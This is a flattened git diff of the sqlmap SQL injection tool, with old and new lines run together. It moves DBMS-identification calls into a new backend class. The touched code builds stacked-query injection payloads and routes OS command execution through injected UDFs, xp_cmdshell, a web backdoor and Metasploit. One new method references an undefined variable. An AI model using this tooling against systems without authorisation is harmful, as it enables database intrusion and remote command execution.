dbms = getErrorParsedDBMSes()[0]
return aliasToDbmsEnum(dbms) @staticmethod
def getErrorParsedDBMSes():
"""
Parses the knowledge base htmlFp list and return its values
formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}
"""
htmlParsed = ""
if len(kb.htmlFp) == 0:
return None
elif len(kb.htmlFp) == 1:
htmlParsed = kb.htmlFp[0]
elif len(kb.htmlFp) > 1:
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed
@staticmethod
def getOs(target, info):
"""
Formats the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, format.humanize(info["type"]))
if "distrib" in info:
infoStr += " %s" % format.humanize(info["distrib"])
if "release" in info:
infoStr += " %s" % format.humanize(info["release"])
if "sp" in info:
infoStr += " %s" % format.humanize(info["sp"])
if "codename" in info:
infoStr += " (%s)" % format.humanize(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % format.humanize(info["technology"], ", ")
return infoStr
class backend:
# Set methods
@staticmethod
def setDbms(dbms):
kb.dbms = aliasToDbmsEnum(dbms)
@staticmethod
def setVersion(version):
if isinstance(version, basestring):
kb.dbmsVersion = [ version ]
@staticmethod
def setVersionList(versionsList):
if isinstance(versionsList, list):
kb.dbmsVersion = versionsList
elif isinstance(version, basestring):
backend.setVersion(versionsList)
else:
logger.error("invalid format of versionsList")
@staticmethod
def forceDbms(dbms):
kb.misc.forcedDbms = aliasToDbmsEnum(dbms)
@staticmethod
def flushForcedDbms():
kb.misc.forcedDbms = None
# Get methods
@staticmethod
def getForcedDbms():
return aliasToDbmsEnum(kb.misc.forcedDbms)
@staticmethod
def getDbms():
return aliasToDbmsEnum(kb.dbms)
@staticmethod
def getErrorParsedDBMSes():
"""
Returns array with parsed DBMS names till now
This functions is called to:
1. Sort the tests, getSortedInjectionTests() - detection phase.
2. Ask user whether or not skip specific DBMS tests in detection phase,
lib/controller/checks.py - detection phase.
3. Sort the fingerprint of the DBMS, lib/controller/handler.py -
fingerprint phase.
"""
return kb.htmlFp
@staticmethod
def getIdentifiedDbms():
dbms = None
if backend.getForcedDbms() is not None:
dbms = backend.getForcedDbms()
elif backend.getDbms() is not None:
dbms = kb.dbms
elif conf.dbms is not None:
dbms = conf.dbms
elif len(backend.getErrorParsedDBMSes()) > 0:
dbms = backend.getErrorParsedDBMSes()[0]
return aliasToDbmsEnum(dbms)
@staticmethod
def getVersion():
if len(kb.dbmsVersion) > 0:
return kb.dbmsVersion[0]
else:
return None
@staticmethod
def getVersionList():
if len(kb.dbmsVersion) > 0:
return kb.dbmsVersion
else:
return None
# Comparison methods
@staticmethod
def isDbms(dbms):
return backend.getDbms() is not None and backend.getDbms() == aliasToDbmsEnum(dbms)
@staticmethod
def isDbmsWithin(aliases):
return backend.getDbms() is not None and backend.getDbms().lower() in aliases
@staticmethod
def isVersion(version):
return backend.getVersion() is not None and backend.getVersion() == version
@staticmethod
def isVersionWithin(versionList):
if backend.getVersionList() is None:
return False
for dbmsVersion in backend.getVersionList():
if dbmsVersion == UNKNOWN_DBMS_VERSION:
continue
elif dbmsVersion in versionList:
return True
return False
@staticmethod
def isVersionGreaterOrEqualThan(version):
return backend.getVersion() is not None and str(backend.getVersion()) >= str(version)
def showHttpErrorCodes(): def showHttpErrorCodes():
""" """

View File

@ -24,6 +24,7 @@ from extra.clientform.clientform import ParseResponse
from extra.keepalive import keepalive from extra.keepalive import keepalive
from extra.xmlobject import xmlobject from extra.xmlobject import xmlobject
from lib.controller.checks import checkConnection from lib.controller.checks import checkConnection
from lib.core.common import backend
from lib.core.common import getConsoleWidth from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getFileType from lib.core.common import getFileType
@ -550,11 +551,10 @@ def __setDBMS():
conf.dbms = conf.dbms.lower() conf.dbms = conf.dbms.lower()
firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS]) firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms, re.I)
if dbmsRegExp: if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1) backend.setVersion(str(dbmsRegExp.group(2)))
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms not in SUPPORTED_DBMS: if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management " errMsg = "you provided an unsupported back-end database management "
@ -1107,11 +1107,8 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.data = advancedDict() kb.data = advancedDict()
# Basic back-end DBMS fingerprint # Active back-end DBMS fingerprint
kb.dbms = None kb.dbms = None
kb.dbmsDetected = False
# Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ] kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ]
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]

View File

@ -9,11 +9,10 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.common import aliasToDbmsEnum from lib.core.common import backend
from lib.core.common import format
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import formatFingerprintString
from lib.core.common import getFilteredPageContent from lib.core.common import getFilteredPageContent
from lib.core.common import getIdentifiedDBMS
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import base64pickle from lib.core.convert import base64pickle
from lib.core.convert import base64unpickle from lib.core.convert import base64unpickle
@ -99,9 +98,9 @@ def setDbms(dbms):
if dbmsRegExp: if dbmsRegExp:
dbms = dbmsRegExp.group(1) dbms = dbmsRegExp.group(1)
kb.dbms = aliasToDbmsEnum(dbms) backend.setDbms(dbms)
logger.info("the back-end DBMS is %s" % kb.dbms) logger.info("the back-end DBMS is %s" % backend.getDbms())
def setOs(): def setOs():
""" """
@ -128,15 +127,15 @@ def setOs():
return return
if "type" in kb.bannerFp: if "type" in kb.bannerFp:
kb.os = formatFingerprintString(kb.bannerFp["type"]) kb.os = format.humanize(kb.bannerFp["type"])
infoMsg = "the back-end DBMS operating system is %s" % kb.os infoMsg = "the back-end DBMS operating system is %s" % kb.os
if "distrib" in kb.bannerFp: if "distrib" in kb.bannerFp:
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"]) kb.osVersion = format.humanize(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp: if "sp" in kb.bannerFp:
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", "")) kb.osSP = int(format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and kb.os == "Windows": elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0 kb.osSP = 0
@ -206,11 +205,11 @@ def resumeConfKb(expression, url, value):
test = readInput(message, default="N") test = readInput(message, default="N")
if not test or test[0] in ("n", "N"): if not test or test[0] in ("n", "N"):
kb.dbms = aliasToDbmsEnum(dbms) backend.setDbms(dbms)
kb.dbmsVersion = dbmsVersion backend.setVersionList(dbmsVersion)
else: else:
kb.dbms = aliasToDbmsEnum(dbms) backend.setDbms(dbms)
kb.dbmsVersion = dbmsVersion backend.setVersionList(dbmsVersion)
elif expression == "OS" and url == conf.url: elif expression == "OS" and url == conf.url:
os = unSafeFormatString(value[:-1]) os = unSafeFormatString(value[:-1])
@ -247,7 +246,7 @@ def resumeConfKb(expression, url, value):
if '.' in table: if '.' in table:
db, table = table.split('.') db, table = table.split('.')
else: else:
db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX) db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX)
logMsg = "resuming brute forced table name " logMsg = "resuming brute forced table name "
logMsg += "'%s' from session file" % table logMsg += "'%s' from session file" % table
@ -262,7 +261,7 @@ def resumeConfKb(expression, url, value):
if '.' in table: if '.' in table:
db, table = table.split('.') db, table = table.split('.')
else: else:
db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX) db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX)
logMsg = "resuming brute forced column name " logMsg = "resuming brute forced column name "
logMsg += "'%s' for table '%s' from session file" % (colName, table) logMsg += "'%s' for table '%s' from session file" % (colName, table)

View File

@ -12,7 +12,7 @@ import os
import rlcompleter import rlcompleter
from lib.core import readlineng as readline from lib.core import readlineng as readline
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
@ -30,7 +30,7 @@ def loadHistory():
def queriesForAutoCompletion(): def queriesForAutoCompletion():
autoComplQueries = {} autoComplQueries = {}
for item in queries[getIdentifiedDBMS()]._toflat(): for item in queries[backend.getIdentifiedDbms()]._toflat():
if item._has_key('query') and len(item.query) > 1 and item._name != 'blind': if item._has_key('query') and len(item.query) > 1 and item._name != 'blind':
autoComplQueries[item.query] = None autoComplQueries[item.query] = None

View File

@ -7,12 +7,12 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
class Unescaper(advancedDict): class Unescaper(advancedDict):
def unescape(self, expression, quote=True, dbms=None): def unescape(self, expression, quote=True, dbms=None):
identifiedDbms = getIdentifiedDBMS() identifiedDbms = backend.getIdentifiedDbms()
if identifiedDbms is not None: if identifiedDbms is not None:
return self[identifiedDbms](expression, quote=quote) return self[identifiedDbms](expression, quote=quote)

View File

@ -13,7 +13,7 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import parseXmlFile from lib.core.common import parseXmlFile
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb from lib.core.data import kb
@ -97,13 +97,13 @@ def bannerParser(banner):
xmlfile = None xmlfile = None
if getIdentifiedDBMS() == DBMS.MSSQL: if backend.getIdentifiedDbms() == DBMS.MSSQL:
xmlfile = paths.MSSQL_XML xmlfile = paths.MSSQL_XML
elif getIdentifiedDBMS() == DBMS.MYSQL: elif backend.getIdentifiedDbms() == DBMS.MYSQL:
xmlfile = paths.MYSQL_XML xmlfile = paths.MYSQL_XML
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
xmlfile = paths.ORACLE_XML xmlfile = paths.ORACLE_XML
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
xmlfile = paths.PGSQL_XML xmlfile = paths.PGSQL_XML
if not xmlfile: if not xmlfile:
@ -111,7 +111,7 @@ def bannerParser(banner):
checkFile(xmlfile) checkFile(xmlfile)
if getIdentifiedDBMS() == DBMS.MSSQL: if backend.getIdentifiedDbms() == DBMS.MSSQL:
handler = MSSQLBannerHandler(banner, kb.bannerFp) handler = MSSQLBannerHandler(banner, kb.bannerFp)
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)

View File

@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.convert import base64pickle from lib.core.convert import base64pickle
from lib.core.convert import base64unpickle from lib.core.convert import base64unpickle
@ -26,7 +26,7 @@ def direct(query, content=True):
select = False select = False
query = agent.payloadDirect(query) query = agent.payloadDirect(query)
if getIdentifiedDBMS() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query: if backend.getIdentifiedDbms() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query:
query = "%s FROM DUAL" % query query = "%s FROM DUAL" % query
for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlTitle, sqlStatements in SQL_STATEMENTS.items():

View File

@ -11,11 +11,11 @@ import re
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import backend
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
from lib.core.common import cleanQuery from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
@ -54,7 +54,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
if (conf.eta or conf.threads > 1) and getIdentifiedDBMS() and not timeBasedCompare: if (conf.eta or conf.threads > 1) and backend.getIdentifiedDbms() and not timeBasedCompare:
_, length, _ = queryOutputLength(expression, payload) _, length, _ = queryOutputLength(expression, payload)
else: else:
length = None length = None
@ -137,186 +137,183 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not unpack: if not unpack:
return __goInference(payload, expression, charsetType, firstChar, lastChar) return __goInference(payload, expression, charsetType, firstChar, lastChar)
if kb.dbmsDetected: _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
if rdbRegExp and getIdentifiedDBMS() == DBMS.FIREBIRD: if rdbRegExp and backend.getIdentifiedDbms() == DBMS.FIREBIRD:
expressionFieldsList = [expressionFields] expressionFieldsList = [expressionFields]
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. " infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we " infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind" infoMsg += "are going blind"
logger.info(infoMsg) logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if # If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case # the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time # forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table # NOTE: I assume that only queries that get data from a table
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))): if fromUser and " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))):
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I) limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() == DBMS.ORACLE:
if limitRegExp: limitCond = False
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query else:
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query limitCond = True
if limitGroupStart.isdigit(): # I assume that only queries NOT containing a "LIMIT #, 1"
startLimit = int(limitRegExp.group(int(limitGroupStart))) # (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
stopLimit = limitRegExp.group(int(limitGroupStop)) # From now on we need only the expression until the " LIMIT "
limitCond = int(stopLimit) > 1 # (or similar, depending on the back-end DBMS) word
elif topLimit: if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
startLimit = 0 stopLimit += startLimit
stopLimit = int(topLimit.group(1)) untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
limitCond = int(stopLimit) > 1 expression = expression[:untilLimitChar]
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
limitCond = False stopLimit += startLimit
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1" if not stopLimit or stopLimit <= 1:
# (or similar depending on the back-end DBMS) can return if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
# multiple entries test = False
if limitCond: else:
if limitRegExp: test = True
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT " if test:
# (or similar, depending on the back-end DBMS) word # Count the number of SQL query entries output
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
stopLimit += startLimit countedExpression = expression.replace(expressionFields, countFirstField, 1)
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
expression = expression[:untilLimitChar]
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): if re.search(" ORDER BY ", expression, re.I):
stopLimit += startLimit untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
if not stopLimit or stopLimit <= 1: if resumeValue:
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]): count = resume(countedExpression, payload)
test = False
else:
test = True
if test: if not stopLimit:
# Count the number of SQL query entries output if not count or not count.isdigit():
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0] count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I): if isNumPosStrValue(count):
untilOrderChar = countedExpression.index(" ORDER BY ") count = int(count)
countedExpression = countedExpression[:untilOrderChar]
if resumeValue: if batch:
count = resume(countedExpression, payload) stopLimit = count
else:
message = "the SQL query provided can return "
message += "%d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
if not stopLimit: if not test or test[0] in ("a", "A"):
if not count or not count.isdigit():
count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
if isNumPosStrValue(count):
count = int(count)
if batch:
stopLimit = count stopLimit = count
else:
message = "the SQL query provided can return "
message += "%d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"): elif test[0] in ("q", "Q"):
stopLimit = count raise sqlmapUserQuitException
elif test[0] in ("q", "Q"): elif test.isdigit() and int(test) > 0 and int(test) <= count:
raise sqlmapUserQuitException stopLimit = int(test)
elif test.isdigit() and int(test) > 0 and int(test) <= count: infoMsg = "sqlmap is now going to retrieve the "
stopLimit = int(test) infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
infoMsg = "sqlmap is now going to retrieve the " elif test[0] in ("#", "s", "S"):
infoMsg += "first %d query output entries" % stopLimit message = "how many? "
logger.info(infoMsg) stopLimit = readInput(message, default="10")
elif test[0] in ("#", "s", "S"): if not stopLimit.isdigit():
message = "how many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "invalid choice" errMsg = "invalid choice"
logger.error(errMsg) logger.error(errMsg)
return None return None
elif count and not count.isdigit(): else:
warnMsg = "it was not possible to count the number " stopLimit = int(stopLimit)
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1 else:
errMsg = "invalid choice"
logger.error(errMsg)
elif (not count or int(count) == 0): return None
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0): stopLimit = 1
elif (not count or int(count) == 0):
warnMsg = "the SQL query provided does not " warnMsg = "the SQL query provided does not "
warnMsg += "return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
try: elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
for num in xrange(startLimit, stopLimit): warnMsg = "the SQL query provided does not "
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) warnMsg += "return any output"
outputs.append(output) logger.warn(warnMsg)
except KeyboardInterrupt: return None
print
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
return outputs try:
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
outputs.append(output)
elif getIdentifiedDBMS() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): except KeyboardInterrupt:
expression += FROM_TABLE[getIdentifiedDBMS()] print
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) return outputs
returnValue = ", ".join([output for output in outputs])
else: elif backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar) expression += FROM_TABLE[backend.getIdentifiedDbms()]
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
returnValue = ", ".join([output for output in outputs])
return returnValue return returnValue
@ -495,7 +492,7 @@ def goStacked(expression, silent=False):
if conf.direct: if conf.direct:
return direct(expression), None return direct(expression), None
comment = queries[getIdentifiedDBMS()].comment.query comment = queries[backend.getIdentifiedDbms()].comment.query
query = agent.prefixQuery("; %s" % expression) query = agent.prefixQuery("; %s" % expression)
query = agent.suffixQuery("%s;%s" % (query, comment)) query = agent.suffixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)

View File

@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
@ -41,10 +41,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
self.webBackdoorRunCmd(cmd) self.webBackdoorRunCmd(cmd)
elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.udfExecCmd(cmd, silent=silent) self.udfExecCmd(cmd, silent=silent)
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
self.xpCmdshellExecCmd(cmd, silent=silent) self.xpCmdshellExecCmd(cmd, silent=silent)
else: else:
@ -55,10 +55,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
return self.webBackdoorRunCmd(cmd) return self.webBackdoorRunCmd(cmd)
elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
return self.udfEvalCmd(cmd, first, last) return self.udfEvalCmd(cmd, first, last)
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
return self.xpCmdshellEvalCmd(cmd, first, last) return self.xpCmdshellEvalCmd(cmd, first, last)
else: else:
@ -93,13 +93,13 @@ class Abstraction(Web, UDF, xp_cmdshell):
logger.info(infoMsg) logger.info(infoMsg)
else: else:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
infoMsg = "going to use injected sys_eval and sys_exec " infoMsg = "going to use injected sys_eval and sys_exec "
infoMsg += "user-defined functions for operating system " infoMsg += "user-defined functions for operating system "
infoMsg += "command execution" infoMsg += "command execution"
logger.info(infoMsg) logger.info(infoMsg)
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
infoMsg = "going to use xp_cmdshell extended procedure for " infoMsg = "going to use xp_cmdshell extended procedure for "
infoMsg += "operating system command execution" infoMsg += "operating system command execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -151,9 +151,9 @@ class Abstraction(Web, UDF, xp_cmdshell):
warnMsg += "the session user is not a database administrator" warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg) logger.warn(warnMsg)
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.udfInjectSys() self.udfInjectSys()
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
if mandatory: if mandatory:
self.xpCmdshellInit() self.xpCmdshellInit()
else: else:

View File

@ -19,7 +19,7 @@ from subprocess import PIPE
from subprocess import Popen as execute from subprocess import Popen as execute
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
from lib.core.common import getUnicode from lib.core.common import getUnicode
@ -187,13 +187,13 @@ class Metasploit:
if __payloadStr == "windows/vncinject": if __payloadStr == "windows/vncinject":
choose = False choose = False
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC " debugMsg += "user, it is likely that the the VNC "
